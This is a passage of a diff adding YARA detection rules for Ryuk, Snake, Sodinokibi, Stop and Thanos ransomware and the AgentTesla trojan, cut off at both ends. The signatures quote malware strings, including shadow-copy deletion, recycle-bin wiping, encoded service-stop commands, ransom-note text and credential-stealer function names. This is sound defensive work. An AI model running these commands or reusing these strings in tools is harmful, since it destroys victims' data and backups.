+ description = "Identifies RYUK ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Ryuk"
+ threat_name = "Windows.Ransomware.Ryuk"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $g1 = { 41 8B C0 45 03 C7 99 F7 FE 48 63 C2 8A 4C 84 20 }
+condition:
+ 1 of ($g*)
+}
+
+rule Windows_Ransomware_Ryuk_878bae7e : beta {
+ meta:
+ name = "YARA Ransomware - RYUK Variant B"
+ id = "878bae7e-1e53-4648-93aa-b4075eef256d"
+ fingerprint = "93a501463bb2320a9ab824d70333da2b6f635eb5958d6f8de43fde3a21de2298"
+ creation_date = "2020-04-30"
+ last_modified = "2021-03-18"
+ description = "Identifies RYUK ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Ryuk"
+ threat_name = "Windows.Ransomware.Ryuk"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $b2 = "RyukReadMe.html" wide fullword
+ $b3 = "RyukReadMe.txt" wide fullword
+condition:
+ 1 of ($b*)
+}
+
+rule Windows_Ransomware_Ryuk_6c726744 : beta {
+ meta:
+ name = "YARA Ransomware - RYUK Variant A"
+ id = "6c726744-acdb-443a-b683-b11f8b657f7a"
+ fingerprint = "d0a4608907e48d02d78ff40a59d47cad1b9258df31b7312dd1a85f8fee2a28d5"
+ creation_date = "2020-04-30"
+ last_modified = "2021-03-18"
+ description = "Identifies RYUK ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Ryuk"
+ threat_name = "Windows.Ransomware.Ryuk"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "172.16." ascii fullword
+ $a2 = "192.168." ascii fullword
+ $a3 = "DEL /F" wide fullword
+ $a4 = "lsaas.exe" wide fullword
+ $a5 = "delete[]" ascii fullword
+condition:
+ 4 of ($a*)
+}
+
+rule Windows_Ransomware_Ryuk_1a4ad952 : beta {
+ meta:
+ name = "YARA Ransomware - RYUK Variant E"
+ id = "1a4ad952-cc99-4653-932b-290381e7c871"
+ fingerprint = "d8c5162850e758e27439e808e914df63f42756c0b8f7c2b5f9346c0731d3960c"
+ creation_date = "2020-04-30"
+ last_modified = "2021-02-16"
+ description = "Identifies RYUK ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Ryuk"
+ threat_name = "Windows.Ransomware.Ryuk"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $e1 = { 8B 0A 41 8D 45 01 45 03 C1 48 8D 52 08 41 3B C9 41 0F 45 C5 44 8B E8 49 63 C0 48 3B C3 72 E1 }
+condition:
+ 1 of ($e*)
+}
+
+rule Windows_Ransomware_Ryuk_72b5fd9d : beta {
+ meta:
+ name = "YARA Ransomware - RYUK Variant D"
+ id = "72b5fd9d-23db-4f18-88d9-a849ec039135"
+ fingerprint = "7c394aa283336013b74a8aaeb56e8363033958b4a1bd8011f3b32cfe2d37e088"
+ creation_date = "2020-04-30"
+ last_modified = "2021-02-16"
+ description = "Identifies RYUK ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Ryuk"
+ threat_name = "Windows.Ransomware.Ryuk"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $d1 = { 48 2B C3 33 DB 66 89 1C 46 48 83 FF FF 0F }
+condition:
+ 1 of ($d*)
+}
+
+rule Windows_Ransomware_Ryuk_8ba51798 : beta {
+ meta:
+ name = "YARA Ransomware - RYUK Variant C"
+ id = "8ba51798-15d7-4f02-97fa-1844465ae9d8"
+ fingerprint = "8e284bc6015502577a6ddd140b9cd110fd44d4d2cb55d0fdec5bebf3356fd7b3"
+ creation_date = "2020-04-30"
+ last_modified = "2021-03-18"
+ description = "Identifies RYUK ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Ryuk"
+ threat_name = "Windows.Ransomware.Ryuk"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $c1 = "/v \"svchos\" /f" wide fullword
+ $c2 = "cmd /c \"WMIC.exe shadowcopy delet\"" ascii fullword
+ $c3 = "lsaas.exe" wide fullword
+ $c4 = "FA_Scheduler" wide fullword
+ $c5 = "ocautoupds" wide fullword
+ $c6 = "CNTAoSMgr" wide fullword
+ $c7 = "hrmlog" wide fullword
+ $c8 = "UNIQUE_ID_DO_NOT_REMOVE" wide fullword
+condition:
+ 3 of ($c*)
+}
+
+rule Windows_Ransomware_Ryuk_88daaf8e : beta {
+ meta:
+ name = "YARA Ransomware - RYUK Variant F"
+ id = "88daaf8e-0bfe-46c4-9a75-2527d0e10538"
+ fingerprint = "b1f218a9bc6bf5f3ec108a471de954988e7692de208e68d7d4ee205194cbbb40"
+ creation_date = "2020-04-30"
+ last_modified = "2021-02-16"
+ description = "Identifies RYUK ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Ryuk"
+ threat_name = "Windows.Ransomware.Ryuk"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $f1 = { 48 8B CF E8 AB 25 00 00 85 C0 74 35 }
+condition:
+ 1 of ($f*)
+}
+
+rule Windows_Ransomware_Snake_550e0265 : beta {
+ meta:
+ name = "YARA Ransomware - SNAKE Variant A"
+ id = "550e0265-fca9-46df-9d5a-cf3ef7efc7ff"
+ fingerprint = "f2796560ddc85ad98a5ef4f0d7323948d57116813c8a26ab902fdfde849704e0"
+ creation_date = "2020-06-30"
+ last_modified = "2021-03-18"
+ description = "Identifies SNAKE ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Snake"
+ threat_name = "Windows.Ransomware.Snake"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://labs.sentinelone.com/new-snake-ransomware-adds-itself-to-the-increasing-collection-of-golang-crimeware/"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "Go build ID: \"X6lNEpDhc_qgQl56x4du/fgVJOqLlPCCIekQhFnHL/rkxe6tXCg56Ez88otHrz/Y-lXW-OhiIbzg3-ioGRz\"" ascii fullword
+ $a2 = "We breached your corporate network and encrypted the data on your computers."
+ $a3 = "c:\\users\\public\\desktop\\Fix-Your-Files.txt" nocase
+ $a4 = "%System Root%\\Fix-Your-Files.txt" nocase
+ $a5 = "%Desktop%\\Fix-Your-Files.txt" nocase
+condition:
+ 1 of ($a*)
+}
+
+rule Windows_Ransomware_Snake_119f9c83 : beta {
+ meta:
+ name = "YARA Ransomware - SNAKE Variant C"
+ id = "119f9c83-4b55-47ce-8c0d-3799a7b46369"
+ fingerprint = "13ffd63c31df2cbaa6988abcaff3b0a3518437f1d37dcd872817b9cbdb61576f"
+ creation_date = "2020-06-30"
+ last_modified = "2021-02-16"
+ description = "Identifies SNAKE ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Snake"
+ threat_name = "Windows.Ransomware.Snake"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://labs.sentinelone.com/new-snake-ransomware-adds-itself-to-the-increasing-collection-of-golang-crimeware/"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $c1 = { 00 40 83 7C 00 40 9E 7C 00 60 75 7C 00 B0 6C 7C 00 B0 74 7C 00 D0 74 7C 00 B0 59 7C 00 D0 59 7C 00 F0 59 7C 00 10 5A 7C 00 30 5A 7C 00 50 5A 7C 00 70 5A 7C 00 90 5A 7C 00 B0 5A 7C 00 D0 5A 7C 00 D0 6C 7C 00 F0 5A 7C 00 30 5B 7C 00 50 5B 7C 00 70 5B 7C 00 90 5B 7C 00 D0 5E 7C 00 B0 5B 7C 00 D0 5B 7C 00 F0 5B 7C 00 50 60 7C 00 70 61 7C 00 10 5C 7C 00 30 5C 7C 00 50 5C 7C 00 10 63 7C 00 70 5C 7C 00 90 5C 7C 00 90 64 7C 00 B0 5C 7C 00 F0 5C 7C 00 10 5D 7C 00 F0 6C 7C 00 10 6D 7C 00 30 5D 7C 00 50 5D 7C 00 30 6D 7C 00 90 71 7C 00 70 5D 7C 00 90 5D 7C 00 B0 5D 7C 00 D0 5D 7C 00 70 6D 7C 00 F0 5D 7C 00 10 5E 7C 00 30 5E 7C 00 50 5E 7C 00 70 5E 7C 00 90 5E 7C 00 B0 5E 7C 00 F0 5E 7C 00 10 5F 7C 00 30 5F 7C 00 50 5F 7C 00 70 5F 7C 00 90 6D 7C 00 90 5F 7C 00 B0 6D 7C 00 D0 6D 7C 00 F0 6D 7C 00 10 6E 7C 00 B0 5F 7C 00 D0 5F 7C 00 F0 5F 7C 00 10 60 7C 00 30 60 7C 00 30 6E 7C 00 70 60 7C }
+ $c2 = { 00 30 64 7C 00 50 64 7C 00 70 64 7C 00 B0 64 7C 00 D0 64 7C 00 30 73 7C 00 F0 64 7C 00 90 71 7C 00 10 65 7C 00 30 65 7C 00 50 65 7C 00 90 72 7C 00 B0 72 7C 00 70 6E 7C 00 70 65 7C 00 B0 65 7C 00 D0 65 7C 00 F0 65 7C 00 10 66 7C 00 30 66 7C 00 50 66 7C 00 70 66 7C 00 90 66 7C 00 B0 66 7C 00 D0 66 7C 00 F0 66 7C 00 30 67 7C 00 90 6E 7C 00 B0 6E 7C 00 D0 6E 7C }
+condition:
+ 1 of ($c*)
+}
+
+rule Windows_Ransomware_Snake_0cfc8ef3 : beta {
+ meta:
+ name = "YARA Ransomware - SNAKE Variant D"
+ id = "0cfc8ef3-d8cc-4fc0-9ca2-8e84dbcb45bd"
+ fingerprint = "4dd2565c42d52f20b9787a6ede9be24837f6df19dfbbd4e58e5208894741ba26"
+ creation_date = "2020-06-30"
+ last_modified = "2021-02-16"
+ description = "Identifies SNAKE ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Snake"
+ threat_name = "Windows.Ransomware.Snake"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://labs.sentinelone.com/new-snake-ransomware-adds-itself-to-the-increasing-collection-of-golang-crimeware/"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $d1 = { 96 88 44 2C 1E 96 45 }
+ $d2 = { 39 C5 7D ?? 0F B6 34 2B 39 D5 73 ?? 0F B6 3C 29 31 FE 83 FD 1A 72 }
+condition:
+ 1 of ($d*)
+}
+
+rule Windows_Ransomware_Snake_20bc5abc : beta {
+ meta:
+ name = "YARA Ransomware - SNAKE Variant B"
+ id = "20bc5abc-c519-47d2-a6de-5108071a9144"
+ fingerprint = "e7f1be2bd7e1f39b79ac89cf58c90abdb537ff54cbf161192d997e054d3f0883"
+ creation_date = "2020-06-30"
+ last_modified = "2021-02-16"
+ description = "Identifies SNAKE ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Snake"
+ threat_name = "Windows.Ransomware.Snake"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://labs.sentinelone.com/new-snake-ransomware-adds-itself-to-the-increasing-collection-of-golang-crimeware/"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $b1 = { 57 12 1A 10 1A 10 1A 10 1A 10 1A 10 1A 10 1A 10 1A 10 1A 10 1A }
+condition:
+ 1 of ($b*)
+}
+
+rule Windows_Ransomware_Sodinokibi_83f05fbe : beta {
+ meta:
+ name = "YARA Ransomware - SODINOKIBI - VTDIFF"
+ id = "83f05fbe-65d1-423f-98df-21692167a1d6"
+ fingerprint = "8c32ca099c9117e394379c0cc4771a15e5e4cfb1a98210c288e743a6d9cc9967"
+ creation_date = "2020-06-18"
+ last_modified = "2021-02-16"
+ description = "Identifies SODINOKIBI/REvil ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Sodinokibi"
+ threat_name = "Windows.Ransomware.Sodinokibi"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revil"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $d1 = { 03 C0 01 47 30 11 4F 34 01 57 30 8B 57 78 8B C2 11 77 34 8B 77 7C 8B CE 0F A4 C1 04 C1 E0 04 01 47 28 8B C2 11 4F 2C 8B CE 0F A4 C1 01 03 C0 01 47 28 11 4F 2C 01 57 28 8B 57 70 8B C2 11 77 2C 8B 77 74 8B CE 0F A4 C1 04 C1 E0 04 01 47 20 8B C2 11 4F 24 8B CE 0F A4 C1 01 03 C0 01 47 20 11 4F 24 01 57 20 8B 57 68 8B C2 11 77 24 8B 77 6C 8B CE 0F A4 C1 04 C1 E0 04 01 47 18 8B C2 11 4F 1C 8B CE 0F A4 C1 01 03 C0 01 47 18 11 4F 1C 01 57 18 8B 57 60 8B C2 11 77 1C 8B 77 64 }
+ $d2 = { 65 78 70 61 6E 64 20 33 32 2D 62 79 74 65 20 6B 65 78 70 61 6E 64 20 31 36 2D 62 79 74 65 20 6B }
+ $d3 = { F7 6F 38 03 C8 8B 43 48 13 F2 F7 6F 20 03 C8 8B 43 38 13 F2 F7 6F 30 03 C8 8B 43 40 13 F2 F7 6F 28 03 C8 8B 43 28 13 F2 F7 6F 40 03 C8 8B 45 08 13 F2 89 48 68 89 70 6C 8B 43 38 F7 6F 38 8B C8 8B F2 8B 43 28 F7 6F 48 03 C8 13 F2 8B 43 48 F7 6F 28 03 C8 8B 43 30 13 F2 F7 6F 40 0F A4 CE 01 03 C9 03 C8 8B 43 40 13 F2 F7 6F 30 03 C8 8B 45 08 13 F2 89 48 70 89 70 74 8B 43 38 F7 6F 40 8B C8 }
+ $d4 = { 33 C0 8B 5A 68 8B 52 6C 0F A4 FE 08 C1 E9 18 0B C6 C1 E7 08 8B 75 08 0B CF 89 4E 68 8B CA 89 46 6C 33 C0 8B 7E 60 8B 76 64 0F A4 DA 19 C1 E9 07 0B C2 C1 E3 19 8B 55 08 0B CB 89 4A 60 8B CF 89 42 64 33 C0 8B 5A 10 8B 52 14 0F AC F7 15 C1 E1 0B C1 EE 15 0B C7 0B CE 8B 75 }
+ $d5 = { C1 01 C1 EE 1F 0B D1 03 C0 0B F0 8B C2 33 43 24 8B CE 33 4B 20 33 4D E4 33 45 E0 89 4B 20 8B CB 8B 5D E0 89 41 24 8B CE 33 4D E4 8B C2 31 4F 48 33 C3 8B CF 31 41 4C 8B C7 8B CE 33 48 70 8B C2 33 47 74 33 4D E4 33 C3 89 4F 70 8B CF 89 41 74 8B }
+ $d6 = { 8B 43 40 F7 6F 08 03 C8 8B 03 13 F2 F7 6F 48 03 C8 8B 43 48 13 F2 F7 2F 03 C8 8B 43 08 13 F2 F7 6F 40 03 C8 8B 43 30 13 F2 F7 6F 18 03 C8 8B 43 18 13 F2 F7 6F 30 03 C8 8B 43 38 13 F2 F7 6F 10 03 C8 8B 43 10 13 F2 F7 6F 38 03 C8 8B 43 28 13 F2 }
+ $d7 = { 8B CE 33 4D F8 8B C2 33 C3 31 4F 18 8B CF 31 41 1C 8B C7 8B CE 33 48 40 8B C2 33 4D F8 33 47 44 89 4F 40 33 C3 8B CF 89 41 44 8B C7 8B CE 33 48 68 8B C2 33 47 6C 33 4D F8 33 C3 89 4F 68 8B CF 89 41 6C 8B CE 8B }
+ $d8 = { 36 7D 49 30 85 35 C2 C3 68 60 4B 4B 7A BE 83 53 AB E6 8E 42 F9 C6 62 A5 D0 6A AD C6 F1 7D F6 1D 79 CD 20 FC E7 3E E1 B8 1A 43 38 12 C1 56 28 1A 04 C9 22 55 E0 D7 08 BB 9F 0B 1F 1C B9 13 06 35 }
+ $d9 = { C2 C1 EE 03 8B 55 08 0B CE 89 4A 4C 8B CF 89 42 48 33 C0 8B 72 30 8B 52 34 C1 E9 0C 0F A4 DF 14 0B C7 C1 E3 14 8B 7D 08 0B CB 89 4F 30 8B CE 89 47 34 33 C0 C1 E1 0C 0F AC D6 14 0B C6 C1 EA 14 89 47 08 0B CA }
+ $d10 = { 8B F2 8B 43 38 F7 6F 28 03 C8 8B 43 18 13 F2 F7 6F 48 03 C8 8B 43 28 13 F2 F7 6F 38 03 C8 8B 43 40 13 F2 F7 6F 20 0F A4 CE 01 03 C9 03 C8 8B 43 20 13 F2 F7 6F 40 03 C8 8B 43 30 13 F2 F7 6F 30 03 C8 }
+ $d11 = { 33 45 FC 31 4B 28 8B CB 31 41 2C 8B CE 8B C3 33 48 50 8B C2 33 43 54 33 CF 33 45 FC 89 4B 50 8B CB 89 41 54 8B CE 8B C3 33 48 78 8B C2 33 43 7C 33 CF 33 45 FC 89 4B 78 8B CB 89 41 7C 33 B1 A0 }
+ $d12 = { 52 24 0F A4 FE 0E C1 E9 12 0B C6 C1 E7 0E 8B 75 08 0B CF 89 4E 20 8B CA 89 46 24 33 C0 8B 7E 78 8B 76 7C 0F A4 DA 1B C1 E9 05 0B C2 C1 E3 1B 8B 55 08 0B CB 89 4A 78 8B CF 89 42 7C 33 C0 8B 9A }
+ $d13 = { F2 8B 43 38 F7 6F 20 03 C8 8B 43 40 13 F2 F7 6F 18 03 C8 8B 43 10 13 F2 F7 6F 48 03 C8 8B 43 28 13 F2 F7 6F 30 03 C8 8B 43 20 13 F2 F7 6F 38 03 C8 8B 43 30 13 F2 F7 6F 28 03 C8 8B 43 48 13 F2 }
+ $d14 = { 8B 47 30 13 F2 F7 6F 40 03 C8 13 F2 0F A4 CE 01 89 73 74 03 C9 89 4B 70 8B 47 30 F7 6F 48 8B C8 8B F2 8B 47 38 F7 6F 40 03 C8 13 F2 0F A4 CE 01 89 73 7C 03 C9 89 4B 78 8B 47 38 F7 6F 48 8B C8 }
+condition:
+ all of them
+}
+
+rule Windows_Ransomware_Sodinokibi_182b2cea : beta {
+ meta:
+ name = "YARA Ransomware - SODINOKIBI - YARP"
+ id = "182b2cea-5aae-443a-9a2e-b3121a0ac8c7"
+ fingerprint = "ab0eded4a21d0735132ea7fc7231cab16ad7c222fadeaa648de6e8dc4494ff44"
+ creation_date = "2020-06-18"
+ last_modified = "2021-03-18"
+ description = "Identifies SODINOKIBI/REvil ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Sodinokibi"
+ threat_name = "Windows.Ransomware.Sodinokibi"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revil"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "expand 32-byte kexpand 16-byte k" ascii fullword
+ $b1 = "ServicesActive" wide fullword
+ $b2 = "CreateThread" ascii fullword
+ $b3 = "GetExitCodeProcess" ascii fullword
+ $b4 = "CloseHandle" ascii fullword
+ $b5 = "SetErrorMode" ascii fullword
+ $b6 = ":!:(:/:6:C:\\:m:" ascii fullword
+ $b7 = "tnFhC9mCc4Q6dehM6ho7Xc7oGS8PLAV6Sp" ascii fullword
+condition:
+ ($a1 and 5 of ($b*))
+}
+
+rule Windows_Ransomware_Sodinokibi_a282ba44 : beta {
+ meta:
+ name = "YARA Ransomware - SODINOKIBI - BESKAR"
+ id = "a282ba44-b8bf-4fcc-a1c4-795675a928de"
+ fingerprint = "07f1feb22f8b9de0ebd5c4649545eb4823a274b49b2c61a44d3eed4739ecd572"
+ creation_date = "2020-06-18"
+ last_modified = "2021-02-16"
+ description = "Identifies SODINOKIBI/REvil ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Sodinokibi"
+ threat_name = "Windows.Ransomware.Sodinokibi"
+ source = "Automated"
+ maturity = "Diagnostic"
+ reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revil"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $c1 = { 59 59 85 F6 74 25 8B 55 08 83 66 04 00 89 3E 8B 0A 0B 4A 04 }
+ $c2 = { 8D 45 F8 89 75 FC 50 8D 45 FC 89 75 F8 50 56 56 6A 01 6A 30 }
+ $c3 = { 75 0C 72 D3 33 C0 40 5F 5E 5B 8B E5 5D C3 33 C0 EB F5 55 8B EC 83 }
+ $c4 = { 0C 8B 04 B0 83 78 04 05 75 1C FF 70 08 FF 70 0C FF 75 0C FF }
+ $c5 = { FB 8B 45 FC 50 8B 08 FF 51 08 5E 8B C7 5F 5B 8B E5 5D C3 55 }
+ $c6 = { BC 00 00 00 33 D2 8B 4D F4 8B F1 8B 45 F0 0F A4 C1 01 C1 EE 1F }
+ $c7 = { 54 8B CE F7 D1 8B C2 23 4D DC F7 D0 33 4D F4 23 C7 33 45 E8 89 }
+ $c8 = { 0C 89 46 0C 85 C0 75 2A 33 C0 EB 6C 8B 46 08 85 C0 74 62 6B }
+condition:
+ (6 of ($c*))
+}
+
+rule Windows_Ransomware_Stop_1e8d48ff {
+ meta:
+ id = "1e8d48ff-e0ab-478d-8268-a11f2e87ab79"
+ fingerprint = "715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb"
+ creation_date = "2021-06-10"
+ last_modified = "2021-06-10"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Stop"
+ threat_name = "Windows.Ransomware.Stop"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a = "E:\\Doc\\My work (C++)\\_Git\\Encryption\\Release\\encrypt_win_api.pdb" ascii fullword
+ $b = { 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF }
+condition:
+ any of them
+}
+
+rule Windows_Ransomware_Thanos_c3522fd0 : beta {
+ meta:
+ name = "YARA Ransomware - THANOS Variant C"
+ id = "c3522fd0-90e2-4dd9-82f1-4502689270dd"
+ fingerprint = "6d9d6131fd0e3a8585900f4966cb2d1b32e7f5d71b9a65b7a47d80e94bd9f89a"
+ creation_date = "2020-11-03"
+ last_modified = "2021-02-16"
+ description = "Identifies THANOS (Hakbit) ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Thanos"
+ threat_name = "Windows.Ransomware.Thanos"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://labs.sentinelone.com/thanos-ransomware-riplace-bootlocker-and-more-added-to-feature-set/"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $c1 = { 0C 89 45 F0 83 65 EC 00 EB 07 8B 45 EC 40 89 45 EC 83 7D EC 18 }
+ $c2 = { E8 C1 E0 04 8B 4D FC C6 44 01 09 00 8B 45 E8 C1 E0 04 8B 4D FC 83 64 01 }
+ $c3 = { 00 2F 00 18 46 00 54 00 50 00 20 00 55 00 73 00 65 00 72 00 4E 00 }
+condition:
+ 2 of ($c*)
+}
+
+rule Windows_Ransomware_Thanos_a6c09942 : beta {
+ meta:
+ name = "YARA Ransomware - THANOS Variant B"
+ id = "a6c09942-0733-40d7-87b7-eb44dd472a35"
+ fingerprint = "4abcf47243bebc281566ba4929b20950e3f1bfac8976ae5bc6b8ffda85468ec0"
+ creation_date = "2020-11-03"
+ last_modified = "2021-02-16"
+ description = "Identifies THANOS (Hakbit) ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Thanos"
+ threat_name = "Windows.Ransomware.Thanos"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://labs.sentinelone.com/thanos-ransomware-riplace-bootlocker-and-more-added-to-feature-set/"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $b1 = { 00 57 00 78 00 73 00 49 00 48 00 6C 00 76 00 64 00 58 00 49 00 67 00 5A 00 6D 00 6C 00 73 00 5A 00 58 00 4D 00 67 00 64 00 32 00 56 00 79 00 5A 00 53 00 42 00 6C 00 62 00 6D 00 4E 00 79 00 65 00 58 00 42 00 30 00 5A 00 57 00 51 00 73 00 49 00 47 00 6C 00 6D 00 49 00 48 00 6C 00 76 00 64 00 53 00 42 00 33 00 59 00 57 00 35 00 30 00 49 00 48 00 52 00 76 00 49 00 47 00 64 00 6C 00 64 00 43 00 42 00 30 00 61 00 47 00 56 00 74 00 49 00 47 00 46 00 73 00 62 00 43 00 42 00 69 00 59 00 57 00 4E 00 72 00 4C 00 43 00 42 00 77 00 62 00 47 00 56 00 68 00 63 00 32 00 55 00 67 00 59 00 32 00 46 00 79 00 5A 00 57 00 5A 00 31 00 62 00 47 00 78 00 35 00 49 00 48 00 4A 00 6C 00 59 00 57 00 51 00 67 00 64 00 47 00 68 00 6C 00 49 00 48 00 52 00 6C 00 65 00 48 00 51 00 67 00 62 00 6D 00 39 00 30 00 5A 00 53 00 42 00 73 00 62 00 32 00 4E 00 68 00 64 00 47 00 56 00 6B 00 49 00 47 00 6C 00 75 00 49 00 48 00 6C 00 76 00 64 00 58 00 49 00 67 00 5A 00 47 00 56 00 7A 00 61 00 33 00 52 00 76 00 63 00 43 00 34 00 75 00 4C 00 67 00 3D 00 3D }
+ $b2 = { 01 0E 0E 05 00 02 0E 0E 0E 04 00 01 01 0E 04 00 01 0E 0E 06 00 03 01 0E 0E 0E 80 90 55 00 30 00 39 00 47 00 56 00 46 00 64 00 42 00 55 00 6B 00 56 00 63 00 54 00 57 00 6C 00 6A 00 63 00 6D 00 39 00 7A 00 62 00 32 00 5A 00 30 00 58 00 46 00 64 00 70 00 62 00 6D 00 52 00 76 00 64 00 33 00 4D 00 67 00 54 00 6C 00 52 00 63 00 51 00 33 00 56 00 79 00 63 00 6D 00 56 00 75 00 64 00 46 00 5A 00 6C 00 63 00 6E 00 4E 00 70 00 62 00 32 00 35 00 63 00 56 00 32 00 6C 00 }
+condition:
+ 1 of ($b*)
+}
+
+rule Windows_Ransomware_Thanos_e19feca1 : beta {
+ meta:
+ name = "YARA Ransomware - THANOS Variant A"
+ id = "e19feca1-b131-4045-be0c-d69d55f9a83e"
+ fingerprint = "d6654d0b3155d9c64fd4e599ba34d51f110d9dfda6fa1520b686602d9f608f92"
+ creation_date = "2020-11-03"
+ last_modified = "2021-03-18"
+ description = "Identifies THANOS (Hakbit) ransomware"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Ransomware"
+ family = "Thanos"
+ threat_name = "Windows.Ransomware.Thanos"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference = "https://labs.sentinelone.com/thanos-ransomware-riplace-bootlocker-and-more-added-to-feature-set/"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "b__"
+ $a2 = "b__"
+ $a3 = "b__"
+ $a4 = "b__"
+ $b1 = "Your files are encrypted."
+ $b2 = "I will treat you good if you treat me good too."
+ $b3 = "I don't want to loose your files too"
+ $b4 = "/c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin" wide fullword
+ $b5 = "\\HOW_TO_DECYPHER_FILES.txt" wide fullword
+ $b6 = "c3RvcCBTUUxURUxFTUVUUlkkRUNXREIyIC95" wide fullword
+ $b7 = "c3RvcCBNQkFNU2VydmljZSAveQ==" wide fullword
+ $b8 = "L0MgY2hvaWNlIC9DIFkgL04gL0QgWSAvVCAzICYgRGVsIA==" wide fullword
+ $b9 = "c3RvcCBjY0V2dE1nciAveQ==" wide fullword
+condition:
+ (4 of ($a*)) or (3 of ($b*))
+}
+
+rule Windows_Trojan_AgentTesla_d3ac2b2f {
+ meta:
+ id = "d3ac2b2f-14fc-4851-8a57-41032e386aeb"
+ fingerprint = "60c031526f8c3099f324b9dccaad3e8e7fb60c85ef79237aa9917e128b072c14"
+ creation_date = "2021-03-22"
+ last_modified = "2021-04-12"
+ os = "Windows"
+ arch = "x86"
+ category_type = "Trojan"
+ family = "AgentTesla"
+ threat_name = "Windows.Trojan.AgentTesla"
+ source = "Manual"
+ maturity = "Diagnostic"
+ reference_sample = "65463161760af7ab85f5c475a0f7b1581234a1e714a2c5a555783bdd203f85f4"
+ scan_type = "File, Memory"
+ severity = 100
+ strings:
+ $a1 = "GetMozillaFromLogins" ascii fullword
+ $a2 = "AccountConfiguration+username" wide fullword
+ $a3 = "MailAccountConfiguration" ascii fullword
+ $a4 = "KillTorProcess" ascii fullword
+ $a5 = "SmtpAccountConfiguration" ascii fullword
+ $a6 = "GetMozillaFromSQLite" ascii fullword
+ $a7 = "Proxy-Agent: HToS5x" wide fullword
+ $a8 = "set_BindingAccountConfiguration" ascii fullword
+ $a9 = "doUsernamePasswordAuth" ascii fullword
+ $a10 = "SafariDecryptor" ascii fullword
+ $a11 = "get_securityProfile" ascii fullword
+ $a12 = "get_useSeparateFolderTree" ascii fullword
+ $a13 = "get_DnsResolver" ascii fullword
+ $a14 = "get_archivingScope" ascii fullword
+ $a15 = "get_providerName" ascii fullword
+ $a16 = "get_ClipboardHook" ascii fullword
+ $a17 = "get_priority" ascii fullword
+ $a18 = "get_advancedParameters" ascii fullword
+ $a19 = "get_disabledByRestriction" ascii fullword
